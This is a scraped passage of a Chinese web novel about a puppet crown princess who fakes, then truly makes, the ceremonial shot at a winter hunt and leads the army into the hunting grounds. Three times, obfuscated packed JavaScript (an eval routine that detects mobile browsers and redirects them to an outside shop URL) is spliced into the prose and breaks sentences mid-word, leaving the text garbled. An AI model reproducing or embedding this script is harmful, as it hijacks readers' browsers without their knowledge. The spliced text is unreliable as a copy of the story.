盛尧没催,也不敢催,还有许多事情要做。 冬狩不比平日里在别苑胡闹,是正经的国家大典,其中有一项最要紧的,叫“三驱”之礼。 三驱,指的是她代天子,要亲自骑马,在三面围成的围场中驱赶猎物,连发三矢,以示武功。 皇太女为了不在雷霆兵威的展示上丢人现眼,每日天不亮就起床苦修。 虽然在别业拿剑劈案时挺有气势,在东市酒楼放狠话时也很是决绝,但只要一回到那张折鸿硬弓面前,皇太女殿下就立刻被打回原形。 真的很重。 她并不指望几天就能练成神射手,可作为冬狩君王,在众目睽睽之下第一箭直接软绵绵地掉在马蹄子底下——呃。 不用等高昂南下,她自己就可以先在那猎苑里挖个坑把自己埋了。 于是,每天天不亮,鸡都还没叫,盛尧就像个做贼的耗子,裹着披风,扛着那把死沉死沉的弓,又再偷偷溜进后山的梅林。 然后,她就会看见那条鱼。 邪门得很!无论她起得多早,谢四公子都一定在那里。 有时候是倚着梅树看来福啃树皮,有时候干脆就坐在不远处的石头上,拿树枝拨拉雪地里的耗子窝。 听见她哼哧哼哧爬上来的动静,这茜衣的青年便会转过头,漂亮的眸子在晨雾里清凌凌地一扫,腕间铃铛叮当一声。 从来不说话,也不指点——指点大概也是指望不上的——就那么像看某种名为“皇太女”的稀罕杂耍一样,静静地看着她把箭射到各种离谱的地方去。 甚至怀疑这人是不是压根就睡在梅林里头。 “呼——吸——” 盛尧脸憋得通红,额角的青筋都跳了起来,弓弦在手里紧绷,颤巍巍地开了一半。 就一半。再多一分都不行了。 她在心里疯狂给自己鼓劲:我是主君!我是太女!我有内卫!我……我不行了! 盛尧一屁股坐在雪地上,挫败地大口喘气。 不远处的大青石上,传来一声轻微但非常明显的嗤笑。 盛尧愤怒地转过头。 谢琚正低头打理狐裘上的毛,装作刚才那声笑是风吹过树梢的动静。 盛尧起初还觉得羞愤欲死,几天下来已经自暴自弃,晃晃悠悠地站起:看吧看吧!反正你是傻子,我是傀儡,咱们“阴阳合德”,谁也别嫌弃谁! 别苑倒霉的梅林里,好些树皮都被箭簇刮得斑驳陆离。但箭靶的红心,依旧干净得一尘不染,像是在嘲笑她这个“主君”。 盛尧愁得把头发抓成了鸡窝,恨不得攥着箭杆在那靶心捅上几捅。到了冬狩那天,这一箭射出去,要是连白鹿的毛都没碰着,这“天威”大概就要变成“天大的笑话”了。 实在是没办法,她硬着头皮,将主掌冬狩的几位卿家请到了别苑。 正堂之上,气氛肃穆得有些过头。 掌管宗庙礼仪的太常卿,掌管皇家苑囿的少府卿,还有掌管宫廷侍卫与膳食的光禄勋。三个加起来快两百岁的老头子,穿着宽袍大袖的朝服,跪坐在她面前。 “殿下,”光禄勋是个胡子花白的瘦老头,戴着武弁,“届时,虞人会将猎物驱赶至殿下驾前。殿下需当先发矢,为三军先导。殿下发矢之后,群臣方可驰猎。” 是这个。盛尧心虚地搓搓手,酝酿了半天,才委婉艰难地说: “几位卿家,只是……我近日身体抱恙,气力恐怕有所弗逮。这开弓射猎之事……若是……嗯,若是我手滑了,没射中,该怎么办?” 她没好意思说自己十箭九空。 “殿下不必过虑。” 出乎意料,说话的居然是那个看起来最古板的太常卿。老头儿抚着胡须,“这三驱之礼,并非要殿下真的射杀多少猎物。” “什么意思?”盛尧虚心求教,“不是打猎吗?” “非也,非也。”太常卿摇摇头,褶子缝都透着她不理解的遗憾,“前汉大儒郑玄曾注《易》云:‘王用三驱,失前禽也’。又注《礼》云:‘佐车止之’。” 盛尧听得云里雾里:“所以呢?”……说人话。 少府卿在旁边笑容可掬:“意思是,这打猎嘛,也就是个形式。咱们这园子里豢养的猎物,那都是有数的。到时候,我们会让虞人把那些个跑得慢的、长得肥的,专门往殿下马前赶。” “若是……赶过来了,我也射不中呢?”盛尧十分忐忑地问出最担心的问题。 要是那猎物都撂在马蹄子底下了,她还几箭射偏,那岂不是更丢人? “若是没射中,那便更好了。” “更……更好了?” “正是!”太常卿凛然道,“殿下若是一箭不中,四下金鼓齐鸣,必然是要到处逃窜。此时,牵马的太仆便会宣赞——” 老头儿深吸一口气,高声唱道: “‘失前禽,不中则已!不复射!’” “意思就是说,前面那只猎物既然跑了,又没射中,那就算了,不追了。”光禄勋贴心地与她解释。 “啊?”盛尧傻眼,“就……算了?” “算了!”三位老臣齐刷刷地点头,哈哈一笑。 “所谓‘不中则已’,乃是向天下宣示,殿下见那猎物惊吓,往这边逃窜,便大度地放它一条生路,不再追射。礼云,君子不重射,这是‘不忍杀’,是‘舍之’。更显君王适可而止,不穷兵黩武的圣人风范啊!” “殿下您只需射这一箭,剩下自有虞人与卫士去驱赶围猎。您只需安坐在戎车之上,看着便是。” 盛尧惊恐。 “这……真的行吗?” “怎么不行?当年魏武围猎,也曾有过箭矢落空,那都是为了彰显仁德!” 盛尧目瞪口呆,还能这样圆?她辛辛苦苦练了好几天的弓,把手都磨出了泡,结果人家告诉她:殿下您尽管往天上射,射得越偏,说明您心肠越好? “郑玄……郑大儒真是这么说的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864483|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以置信。 “千真万确!”太常卿一脸正色,“此乃经义正解,合情,合理,合乎祖宗法度!” 好家伙。 盛尧张大了嘴巴,半晌没合上。 对着太常卿正气凛然的脸,光禄卿和少府卿也都显出轻松且理所应当的样子。 横竖都是她赢,正反都是这皇帝的体面。 怪不得…… 盛尧忽然想起太庙里那一幕。 先帝无子,只有一个女儿。那怎么办呢? 谢巡说,这是“阴阳合德,上应天意”。 盛尧看着眼前这三位衣冠楚楚的公卿,忽然觉得自个儿这几日在雪地里受的冻、手上磨出的泡,简直像个笑话。 原来如此。 她靠回凭几上,有些想笑,又有些脊背发凉。 是啊,她怎么就忘了呢? 这世上大概就没有圆不回来的事情。 只要位置坐的对,鹿可以是马,男可以是女,射偏的箭可以是仁德的恩赐,贪婪的搜刮可以是经量土地的国策。 “郑大儒注得……真好啊。”盛尧赞叹。 这荒唐的世道。 忽然觉得半点儿都不紧张了。 “既然是这样,”她端起茶盏,“那便有劳太常卿,多翻翻书。若是到时候不仅没射中,还不小心从马上掉下来了……” 太常卿面不改色,长揖及地: “那便是殿下体恤马力,效仿古代圣王,下马问俗,升槐论道,更是尧舜之举!” “……要是我弓也没拿住,干脆射不出这箭呢?” “休养生息,无为而治,赦及天地万物,乃是与民休息的德政!” 盛尧差点把嘴里的茶喷出来。 原来当皇帝,哪怕是个傀儡皇帝,只要脸皮够厚,那就是无所不能的。 微言大义。盛尧看着自己缠着白布的手指。 “殿下?”太常卿见她发愣,以为她还在担心,“可是还有哪里不明?” “明了,太明了。”盛尧神情恍惚地摆摆手,端起高深莫测的主君架子,“卿等……果然博学多才,深通经义。我……深受启发。” “殿下圣明。”三人齐齐行礼,十分欣慰。 等这三位走了,盛尧终于忍不住,一头栽倒在凭几上,笑得肩膀直抖。 “郑小丸!郑小丸!”她把手伸出来喊,“别练了!太常说了,射不中那是仁德!我现下已经是全天下最仁德的主君了!” 郑小丸却跑得远了去练马,听见声音进来的是卢览,见她乐得前仰后合,非常不以为然:“殿下,那是给君王遮羞的遮羞布。” “有布,那我这些天受的罪是为了什么?”盛尧悲愤地看着自己的手。 “为了不脱靶脱得太离谱,射死谁家的公子哥儿。”卢览毫不犹豫,“仁德可以,眼瞎不行。” 嘿!盛尧心里忽然生出荒谬的快意。 她伸出手,比划了一个拉弓的姿势。 既然射不中是仁慈,射中了是神武。 那这冬狩,好像也没那么可怕了。 “郑玄注的经,原来是这么用的。”盛尧心情大好地跳下坐榻。“咱们不仅要‘仁慈’,还得给那少府卿,多多送些‘仁慈’进去。” 28. 挽弓射鹿,叩剑鼓歌 太常卿果然没白读圣贤书,将君王仁德的由头铺开,充满肃杀之气的冬狩就被盖上了一层金光。 大典当日,都城西门大开。 建除十二神值“定”,冬至后第三个“王”日,利征伐,宜畋猎。 天刚蒙蒙亮,沉闷悠长的号角声就穿透了宫殿门闱。两个黄门郎卯时便在此候着,准备替皇太女殿下整理戎装。 说是戎装,却不能真的只是皮甲革带。内里是朱色交领的中衣,外罩黑犀皮甲,甲片以金线串联,腰悬长剑,背负金漆画弓。 头上也不用远游冠,换了个插着鹖羽的武弁大冠。长长的鹖鸡尾羽在后头高高竖起,随着走动微微颤颤。 嗯。盛尧一边打哈欠一边觉得重,但还是在镜前努力挺直腰板。 “吉时到——” 赞礼官一声高唱。 盛尧登上正中的金根车。车驾四面敞开,只在头顶撑着象征储君威仪的曲盖。冬日初晴,寒风毫无遮拦地灌进来,冻得要死,又不能挡着,以表示她这个储君勇敢,且不畏矢石,吹得她头上两支鹖羽胡乱扑腾。 盛尧冷得鼻涕冒泡,死活不相信真的能有什么矢石。 队伍最外警戒着许多虎贲——既然是代天子,那么大驾拟于三军。八十一乘属车载着公卿,前后跟着执金吾和中都令。引官在前,执幡者在后,清道鸣鞭。 五色旌旗也被风吹得哗哗作响,此时东宫卫率倾巢而出,举着苍龙、白虎、朱雀、玄武的巨大幡葆,队伍如长龙般出了都城西门,浩浩荡荡直奔皇家苑囿而去。 “殿下,”随侍在车旁的是皇太女府长史崔亮,笑容可掬, “东宫卤簿,左左右右,都该是身家清白的羽林郎与郎官。那些个民间招募的女子,不入流品,身形又不够伟岸,实在有碍观瞻,不合祖宗规矩。” 盛尧坐在车上,回头望了一眼。 她的鸾仗,也就是郑小丸和那二百女卫,此刻被礼官们赶到队伍的最末尾,离她的车驾足足隔着两里地,连个影子都瞧不见。 而簇拥在她车驾周围的麟卫,虽是男丁,却也多被换成了光禄勋属下的羽林孤儿。 “行。”她收回目光。“正好。我也是这么想的。她们还另有要务呢。” “卢侍书……?”崔亮左右看看,问道,“不曾随侍殿下?” “不合祖宗规矩。让她们在后头跟着吃尘土吧。”盛尧体贴周到地笑一笑。崔亮将信将疑。 乐府令立于道旁,手中令旗一挥,钟鼓齐鸣。 自大行皇帝登基以来,国事多艰,天子除了在太庙里当几次雕塑,鲜少有这般大张旗鼓的时候。如今皇太女一反幽居常态,居然要冬狩,这阵仗之大,连都中百姓都挤在驰道两旁,争相看个稀罕。 车驾行了足足两个时辰,才抵达猎苑。 冬狩,古称“大阅”。既是围猎,更重要的是阅兵。 到了地方,盛尧才晓得这吉日为什么还得宜动土。 少府管辖的皇家禁苑,方圆数百里,林木葱郁,地势起伏。 猎苑多年未用,想必行宫馆台早就破落,盛尧做好心理准备。但此时远远望去,五色锦嶂在四周铺陈开来,宛如云霞落地,奢靡得令人咋舌。 她屏住呼吸,觉得自己真是个从未见过世面的主君。 如今,一座临时城池已拔地而起。太常寺与少府早就先行一步,引着宫廷帐幕的掌次官,带着数千更卒,在平原旷野之上,支起这连绵数里的“帷宫”。 所谓帷宫,是以布帛为墙,立木为柱,平地起城。 外围是青色的布幔,称为“外郛”,如同城墙般将猎场核心团团围住。绣着云雷纹的锦帐,一张套着一张,曲折回环。 正中央,旌旗蔽日,车马如龙。绵延的锦帐硬是将地下铺了个色彩斑斓。 “殿下,”光禄勋身着戎装,在车前躬身,“请下安车,升青幄。” 盛尧下了车,朝前走,在那片缤纷的帷幕海洋正中,看到了东宫的行营——青幄。乃是象征东方、象征春天与少阳的颜色,昭示她储君的身份。 苍青色的锦缎覆顶,顶端结着硕大的金莲花,上面盖着翠色羽毛,四角垂挂五彩流苏。铺设着厚重的茵席,周围设屏风、黼扆,俨然便是宫中朝堂的模样。 “是……我的?” 盛尧张着嘴,仰头看巨大的青色帐顶。锦缎,在冬日的阳光下甚至反着光。她从未住过这么大的“房子”,哪怕是在别苑的正殿,也没有这般开阔的气象。 “正是。”光禄勋俯首道,“殿下代天子狩,居中而治。左侧那片赤色连营,是丞相的幕府。右侧远些,是武官驻扎的‘次’。” “在哪?”盛尧问,少府卿往左边一指。 她顺着方向看去。 哇。 如果说盛尧的仪仗是华丽的空壳,那谢巡的仪仗便简直是搬来一场兵变。 左边赤色营帐,虽然规制上比青幄矮了点儿,占地却非常广,旌旗遮天蔽日。 行辕门前立着两杆高耸的“建旄”,是九条黑色牦牛尾装饰的大旗,旗面上绘着升龙降龙。 旗下左侧军士捧着一柄象征生杀大权的黄钺,右侧捧着一柄代表征伐之任的白旄。说什么“假”,但实际上代天子征伐,兵权那可是真得不能再真。 上公次。使持节,假黄钺。丞相、录尚书事、大司马、岑国公谢巡的营帐。 这气派的赤幄底下,前后丛丛簇簇,铺开许多黑色、青色锦帐。 “那些是公卿吗?”盛尧踮起脚。 崔亮超乎寻常的尴尬,道:“殿下,是丞相府属官。” 盛尧恍然大悟。 全都是谢巡的门僚。本不应该单独设障,但此时的待遇也与公卿相似,卢览与她说过的,仪同三司。 她揶揄道:“长史的地方,也在里头吗?” 崔亮满头大汗,盛尧心情好了不少,都觉得暖和了。 “老狐狸,把窝安得离我这么近。”她小声嘟囔,架不住自己好奇,又嗒嗒跑去看右边。 右侧才是诸侯公卿的驻地。依据官爵品秩,分别设了许多“帟”、“次”与“旁屋”,里里外外,尊卑有序。 中领军谢绰封列侯,他的营帐便在右侧最显眼处,竖着七旒的大旆,底下又支起绣有平武县侯字样的赤旃,朱红牦牛尾在旗杆顶端飘扬。 谢绰穿着甲胄,站在营帐外,见盛尧往这边来,笑着拱手行礼。 虽然也是气派非凡,但在他父亲威仪之下,简直能算得上恭顺而克制。 与他二哥谢充那略显阴沉的帏帐遥遥相对,玄色的帐篷,司隶校尉视同三公,地方扎得离谢巡很近。 而在另一侧,则是那个让都中公卿恨得牙痒痒,却又不得不以礼相待的客人。 庾澈身为大将军高昂的特使,未带兵马,却也完全没有在这个场合露怯。他从安车上下来,身后只竖着一杆代表翼州军的大纛,旗下仅有数名亲卫。 梧山凤凰一袭白衣,甚至连甲胄都没穿,在一群锦衣玉带的公卿中间有些扎眼,他自己倒大方地坐了下来。 此处单独给他设了一座锦帟,安排在盛尧左近的客席尊位,这地方视野可好,甚至比许多九卿还要靠前,显然是谢巡为了示威,特意将他摆在眼皮子底下。 至于谢四公子…… 盛尧四下张望,终于在自己那巨大的青幄角落里,发现了他的身影。 作为太子中庶子,谢琚没有独自建旄的资格。但也立了座规制不高的素色小次,本该是属官,却硬生生挤进了内廷的范围,和皇太女的寝帐几乎要挨在一起,中间只隔着一层暧昧不明的纱幔。 谢琚瞧几眼自己的帐篷,又看了看远处他爹那气吞山河的大营,朝她笑一笑,作了个噤声的手势。熟门熟路地,一掀帘子,直接钻进了盛尧的青幄里。 看吧。这就是“阴阳合德”的特权。 盛尧很是头疼。 号角声起,沉浑苍凉,直冲云霄。 太常卿手捧竹简登上礼坛,法告天地,四面向山泽里投下祭文,祈求神灵护佑。钟磬齐鸣,笙管并奏,乐工们奏起典雅的《鹿鸣》。 乐声和雅,正符合今天款待使节的题旨。 盛尧坐在青幄前头,虽然太常卿那番“仁德”的鬼话让她稍微宽了心,但真到这万众瞩目的时刻,看着远处密密麻麻的军队和各怀鬼胎的公卿,还是心里发怵。 乐声转过一轮,《鹿鸣》既毕,台上竖起驺虞幡,转奏《驺虞》。 驺虞是不杀的仁兽,狩猎时动物不舍得吃,草也不舍得踩。虽然是猎歌,却是召南的调子,温婉慈悲,夸奖君王射猎不尽杀。 盛尧心里觉得怪里怪气的,显然都给她这位青幄里的傀儡,备足了排场。 伴随着这仁慈乐声的,却是场中陡然腾起的烟火。 “陈百戏——!” 这是大典前的娱乐,嘉礼的一部分,也是为了大大喧闹一番,驱赶山林中的鬼魅。 她左边不远处,庾澈端着酒盏,在喧闹声中向她走来。 大将军特使丝毫不顾周围群僚目光,径直走到盛尧案前,长揖一礼:“殿下,这《驺虞》唱得好啊。‘壹发五豝’,殿下今天这一箭,真能射中五只野猪?” 盛尧小声朝他倾身,神秘兮兮:“只要一箭。不中则已,不复射。” “啊。”庾澈立时明白,看一眼她做贼似的表情,“仁德吗?殿下的仁德,澈在翼州也是早有耳闻的。” 说得人又心虚了,盛尧挥手赶他:“去,去。” 谢巡此时已换了一身戎装,紫袍金甲,腰悬长刀,从赤色连营中走出。到近前,身后跟着谢充、谢绰二子及十数名悍将。 他每走一步,两侧的甲士便以兵刃撞击盾牌,发出震天动地的“呼喝”声。 太仆卿亲自牵来了太子的御马。是一匹性情极其温驯的枣骝马, 盛尧正要上马,旁边忽然有人按住了枣骝马的辔头。 “这匹不好。” 谢琚站在她身侧,外罩白裘,他随手将御马缰绳往旁边太仆怀里一扔,牵过自己那匹通体雪练般的“来福”。 “不如这个。” “中庶子,这……”太仆卿大惊失色,“此乃太子御马,自有定例,岂可随意更易?” 谢琚根本不理会他,只是微微仰头,看着盛尧,将白马的缰绳递到她手边。 盛尧低头看去,只见那银鞍之侧,多挂了一枚有些陈旧的皮革扳指——那是军中开硬弓专用的“韘”,也就是决。谢琚垂着眼睫,手指在那皮革决上轻轻勾了一下。 叮铃。 “阿摇,”他侧着头,用只有两人能听见的声音,蛊惑般地轻声道,“跑起来。” 盛尧咬咬牙,接过缰绳,翻身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手里拿着弓力极轻的“画弓”。这当然是光禄寺专门为她准备的“仁君之弓”。 搭上金鍪箭,拉开。 太轻了。像个玩具。 白鹿就在三十步开外。 盛尧松开手指。 嗖。 金鍪箭画出一道软弱无力的弧线,甚至没能飞到白鹿的脚边,就一头栽进了雪地里。 白鹿受了惊,撒开蹄子,笨拙地向着敞开的那一面缺口跑去。 “失前禽——!” 盛尧勒住马,还没来得及有任何动作,旁边的太仆就立刻扯着嗓子,高声唱喝: “仁德!” “不中则已——!不复射——!” 后侧群臣立刻跟上,四处山呼:“殿下怀仁!”“泽及百畜!” 盛尧坐在马上,不知所措,手里握着可笑的画弓,眼看那头白鹿大摇大摆地往外跑。 多可笑啊。 仁德。 是仁德吗。一个连只鹿都射不中,只能靠着这种自我欺骗的“礼仪”来维持体面的废物主君。 从未有过的愤怒与悲凉,在胸腔里团集坠落,和着《战城南》的鼓音,塞得她浑身发抖。 “朝出沃!暮宿下!不使士卒!死不得归!” 乐声凄厉。 我不要做这种仁君。 她想。 盛尧一把扔掉手中华丽的画弓。 哐当一声,画弓落地。 太仆的唱喝声忽然停下,群臣的赞颂卡在嗓子眼里。 盛尧反手,从马身一侧,抽出挂在鞍下黑沉沉的折鸿。 她咬着牙,右手大拇指套进那个有些陈旧的皮革扳指。想起这些天在梅林里的无数次失败,手指血泡又再疼痛。 “阿摇,跑起来。” 她一夹马腹。 “驾!” 白马长嘶,这是真正上过战场的战马,一旦奔跑起来,独特的韵律和起伏,就像是某种古老的牵引。 盛尧没有去管缰绳,她将整个身体的重量都押在马镫上,重心顺着白马跃起的节奏,向后仰身。 借力。 马匹飞驰带来的巨大冲力,加上她全身的重量,在那一瞬间,全部汇聚在扣弦的右手上。 “——开!” 她在心里怒吼。 咯吱吱。 软皮的射决里,手指流下血来。在梅林里让她绝望的硬弓,此刻在战马横冲的协助下,在她满腔的愤懑中,居然一点一点,艰难却坚定地攀开了! 半月!满月! 寒风呼啸,是《战城南》的鼓音。 “战城南!死郭北!野死不葬!乌可食!” 众人引颈而望。 马背颠簸,少女紧紧盯着即将跑出围场的白鹿。 地上的每一根叶片,每一根草木,躲闪,嘶吼,剪切,啸叫。 这就是我的天命。 崩! 一声响,盖过了鼓声,盖过了风声。 白鹿翻折前蹄,兜头栽倒,向前滚了几滚,卷进灰扑扑的尘埃。 29. 皇太女代天子狩 剧烈的喘息,肺部像着了火一样。手指血泡破裂,黏糊糊地粘住扳指。只有心在狂跳,咚,咚,咚,像是要和那鼓点应和。 “驾!” 少女厉喝一声,不再看倒毙的瑞兽,纵马越向三驱的围布。 她不要再在那个虚假的围子里,射些圈养的、呆傻的鹿。这条命本就是自太庙里捡来的,既然是冬狩,那便要见真正的山川,真正的虎狼。 白马乃是履战的良驹,见血激奋,长嘶一声,泼刺刺放开四蹄,载着玄甲的少女,径直撞碎了精心编织的“仁德”罗网,朝着猎苑深处的苍莽林木冲去。 太仆卿张大了嘴,手里的令旗举也不是,放也不是。 东宫戎车飞驰而过,谢琚换了一匹青色骢马,襟袂当风,掠过那群目瞪口呆的礼官,从虞人手中夺过一杆绣着狰狞兽首的“获兽旗”。 “殿下大获——!” 青年在马上朝天一举,朗声大笑,这面只有真正猎得才能竖起的卷旗,在风中呼啦啦展开。 “为皇太女贺!” “为皇太女贺——” 后面,憋了一肚子气、被塞在队伍末尾吃尘土的郑小丸和内卫们,高声呼喊。 “那是咱们殿下!”郑小丸拔剑高呼,“咱们的殿下!内卫听令!” 数百名内卫轰然应诺,硬是从仪仗后冲开一道口子,紧紧追着那匹白马,呼啸而出。 “为皇太女贺——!” 身前东宫率更令们大惊失色,慌忙催马起拔。 卫率启行。 这一动,便是牵一发而动全身。 冬狩,从来都不是几个人的游戏。这是国之大典,权力的演武场。 “殿下入林苑了——!” 军阵之中,不知谁先喊了一声。大约是悲壮的鼓声起了效用,紧接着,呼喝声起,声浪滚滚, 储君挽得丞相名弓,策着丞相名马,对于谢巡手下这些早经战阵的军士来说,能开硬弓,一箭毙命的年轻主君,总比只会拿着玩具画弓摆样子的泥塑菩萨要强上一万倍。 “为皇太女贺——!” 赤色的主帐下,谢巡听见喊声,紫袍猎猎。眯起深陷的双目, “好折鸿。”老权臣厉声道,“老三的好手段。” 但他毕竟是久经沙场的名将。事已至此,若让皇太女孤军入林,那还算什么冬狩?岂不让天下人看中都军纪涣散的笑话。 谢巡弓下身,紧紧抓住台案,面沉如水,一挥手中白旄,是代天子征伐的号令。 “君王已发矢!三军何在——!” “中军,建麾!” 这声令下,赤色营帐前,高达三丈、名为“大麾”的指挥旗缓缓立起。 “众将听令!” “既然殿下要以此明志,”声音沉如洪钟,“那便让翼州的人好好看看,什么叫中都兵马。” 霎时间,原本还算安坐的公卿百官,成了被沸水浇过的蚂蚁。 这是大阅!皇太女已经冲出去了,按照军律,谁若落后,便是“失律”,要按军法从事的! “备马!快备马!” 公卿们手忙脚乱地爬上戎车,武将们则兴奋地翻身上马。 “大驾前驱——!三军驰逐——!” 行辕前的军司马扯动大麾,旗杆摇动,指向正北。 随着这一指,十二面建鼓依次响起,由缓至急,催动军阵。数名传令飞骑插着雉鸡长羽,手举号旗,向左右穿去。 “呜——呜——呜——” 更加急促高亢的牛角号声,自四面升起。 后阵里纷纷射起押阵鸣镝,这些响箭一过,猎苑腾起了震天动地的回应。是万名甲士同时撼动甲胄、兵戈相击的轰鸣。 围拢在前方的帷幔被各营力士奋力拉开。 天地豁然开朗。 猎场不再是眼前这一小块平地,成了前方深邃幽暗的崇山峻岭。 绵亘的黑色铠甲团团蠢动。 盛尧脚下的大地开始颤抖。她骑在马上,迎着风,看见前方旷野山林之上,无数旌旗拔地而起。 一声凄厉长角号声,她回过头。 陡然间,身后的军阵散开。 “行猎——” 蹄声飒沓,从侧面向她包来,旗帜绘着朱雀七宿,鞍侧挂着红缨。是中都军“五校”中的“越骑”校尉所部。皆是精选的侦骑与内附精兵,身披轻甲,座下河西悍马,自左翼疾驰先导而去。 “左纛启行!右纛跟进!” 白虎旗下,有鹞鹰飞过。“长水”校尉麾下宣曲胡骑,征发自乌桓、鲜卑、狄戎,头戴皮帽,只穿窄袖胡服,挥舞着弯刀长索,口中唿哨,向右翼呼啸延展。 中军大开,“屯骑”校尉所辖。是具装的重骑,分作三股,望着她马首的方向,严峻地突入猎苑腹地。 后方安车和戎车群里,本是她所应在的“大驾”中军。黑色的玄武旗自后压上,“步兵”与“射声”,步卒手持盾戟,弓弩手引而不发,那是拱卫天子的精锐。 此刻储君既然当先,中领军、中护军号旗招展,中军一转而为前驱。 大驾前驱,十足鼓舞壮烈。三军奋迅,刹那间前后左右皆是呼喝之声。 盛尧大口大口地吸气,此刻身临其境,才感到自后而来的压迫。这就是谢巡足以挟天子的利刃。 也是他立皇太女的本钱。 她不敢回头,只能拼命策马狂奔。身后奔腾般的攒动,让她感觉自己像是在浪潮尖端的一只孤舟,稍有不慎,就会被身后的巨浪拍得粉碎。 虞人举着巨大的“旌”,在山头指引猎物方向。中垒校尉指挥步卒,手持金鼓,放出猎犬驱赶山林里的活物,就是所谓的“伐鼓渊渊,振旅阗阗”。 野雉惊飞,黄羊奔突,甚至有几头受惊的野猪嚎叫着冲出灌木。 “左军!合围!” 两支鸣镝,左侧烟尘滚滚。自土丘上冲下朱盔锦缨的骑兵,是禁军的虎贲。盛尧远远眺望,见那骑兵之后,跟着上百名身穿赭衣、手持长戟的徒隶军。 这些自罪囚和恶徒中选出的健卒,戴罪亡命的死士,个个不穿甲胄,以示悍不畏死。司隶校尉谢充身披黑甲,手持长刀,阴沉地站在这横冲的虎贲之侧。 旗帜牵引,如同活物一般开始流转。苍龙转角,朱雀翔舞。上万兵士,以盛尧的马首为圆心,开始了一场夸耀的围猎。 谢绰早已立在中军,他一身银甲,摘下背后长弓,身后数名越骑精锐,跟着他从大驾前侧纵马驰出。 行狩,天子先射,诸侯次之,卿大夫又次之。 后方的诸卿们,也终于策马赶了上来。既是冬狩,人人皆可弯弓。不仅是娱乐,也算遴选,向权臣、向储君、向同僚展示武勇的绝佳机会。 客场一侧,庾澈立马在后。 他皱着眉。 看着漫山遍野的旌旗和如臂使指的军阵,这位向来眼高于顶的梧山凤凰,脸上也露出了凝重之色。 谢巡老迈,但由他亲手组建出来的中都军,确实还是天下一等一的精锐。 而在这烟尘滚滚的最前方。 身穿黑犀皮甲、头戴鹖冠的少女,就像是一个误入战场的孩子,却又像是一面最鲜明的旗帜。 她在前面跑,三军在后面追。 因为她不肯停下,所有人都被迫跟着她卷入了这场狂暴的旋涡。 “快点!再快点!” 盛尧伏在马背上,喘着粗气,眼睁睁看着那骑兵是如何在奔驰中变换队形,如何在军司马的旗帜下分进合击。 两翼的骑兵开始向中间挤压。苍龙旗与白虎旗在视野的尽头交汇。 身侧忽然传来破空声。 嗖!嗖! 几支利箭擦着长草飞过,射中了一只受惊腾起的野雉。 “获禽——!” 虽然还在中央前方,但“领跑”的感觉已经消失了。她举起头,四周都是流矢,眼前全是受惊乱窜的野兽。 麋鹿、野猪、黄羊,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877570|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至还有几只受惊的豹子,在骑兵驱赶下,疯狂地逃窜到中央。 远远见谢充骑在一匹浑身漆黑的河曲马上,单手持刀,独目森寒。他也不用弓箭,拖着那柄长刀,策马逼近一头惊慌失措的黄羊,马速极快,借着这冲势—— 噗。 黄羊头颅飞起,血溅在谢充甲上。他勒住马缰,对身后部曲摆摆手。 立时有虎贲骑兵飞驰而至,翻身下马,拔出腰刀,利落的将黄羊左耳一割。 “司隶校尉获黄羊一!” 虎贲将还在滴血的左耳扔进鞍旁皮囊。里头已经鼓鼓囊囊,不知装了多少。 谢充面无表情,甚至没有半分猎得猎物的喜悦。 “二哥好刀法。” 另一侧,谢绰白马银甲,手中长弓满月,一箭射落半空惊飞的大雁。 他身后的越骑立刻竖起一面赤色的“获兽旗”。谢绰让人捡了猎物,另搭上一枝羽箭,颇有风度地擦了擦箭头。 “殿下就在前面,”他微笑道,“咱们作臣子的,也该去护驾了。” “护驾?”谢充独眼扫过林木深处,“老三,你是想去看她笑话吧?那丫头冲得那么快,真以为这深山老林里,只有兔子和黄羊么?” 他说罢,催起战马,带着虎贲和徒隶,自侧翼包抄上去。 …… 队伍逼近山林,阵型便依地势散开。变成了漫山遍野的杀伐追逐。 “中军有令——射者中!逐者获!” 传令骑兵背插五色背旗,穿梭在各营骑之间。 “获——!” “虎贲中郎将!获麋!竖旗——!” “屯骑营!获黄羊三头!大获——!” 急着获功的将军、郎官和世家子们,为显示武勇,或不满目前的猎获,都不甘心只打合围中的野兽。各自带领亲兵营卫,往山林更里处去,试图搜罗更庞大的猎物。 盛尧并不关心这些人正在进行怎样的野心较量。 她只觉得风很大,树影在眼前飞快地掠过。跑得也太快了,快到她几乎要从马背上颠下来,只能死死抓着缰绳,双腿被磨得火辣辣地。 白马听到熟悉的进军鼓角,更加激动万分,不止发足狂奔,几次想要带着她往山林深处钻,都被盛尧狠狠勒住。 “来福,”她喝道,“来福!冷静点!” 但这烈马不听她的,显然兴奋到了极点,似乎极为适应这种军马奔腾的战场,又或者对背上的主人十分自信。寻着兽径,越过沟壑,抢在侦骑前头,就往古奥的林木侧近飞驰。 